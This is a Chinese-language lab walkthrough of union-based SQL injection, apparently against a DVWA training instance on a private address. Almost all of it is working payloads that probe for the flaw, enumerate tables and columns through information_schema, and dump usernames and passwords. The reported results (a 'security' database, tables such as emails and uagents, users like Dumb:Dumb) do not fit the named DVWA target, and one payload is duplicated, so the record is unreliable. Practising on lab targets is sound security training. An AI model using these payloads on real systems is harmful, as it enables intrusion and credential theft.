DVWA的SQL Injection
http://192.168.112.100/DVWA-master/login.php
Username:admin
Password:password

单击“SQL Injection”(SQL注入)

http://192.168.112.100/DVWA-master/vulnerabilities/sqli/
User ID: 1

(1)注入点:
http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#
(1)?id=1 #注入点
1.判断数字型/字符型
(2)?id=1'
?id=1 and 1=2 #无显示
?id=1 and 1=1 #正常,说明是数字型
否则:
?id=1' #报错 说明单引号没有过滤,存在SQL注入漏洞
?id=1\ #报错 说明单引号闭合
2.猜解字段数
(3)?id=1' order by 3--+ #显示 说明至少3个字段
?id=1' order by 4--+ #报错 说明3个字段
(4)爆出字段的显示位置(回显位)
?id=-1' union select 1,2,3--+ #
3.爆库
(5)获取数据库名称
?id=-1' union select 1,version(),3--+
#显示数据库版本:5.5.68-MariaDB
4.爆表
(6)列出当前数据库中所有表的名称
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
#当前数据库:security,表名:emails,referers,uagents,users
5.爆字段
(7)获取users表中的字段名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
#数据库security、表users的字段名:id,username,password
得到:
数据库:security
表:users
字段:id,username,password
6.爆数据
(8)获取users表中的用户名、密码字段中的值
?id=-1' union select 1,database(),group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e) from users--+
或
?id=-1' union select 1,database(),group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e) from users--+
#用户名:密码:
Dumb:Dumb
......
,admin4:admin4

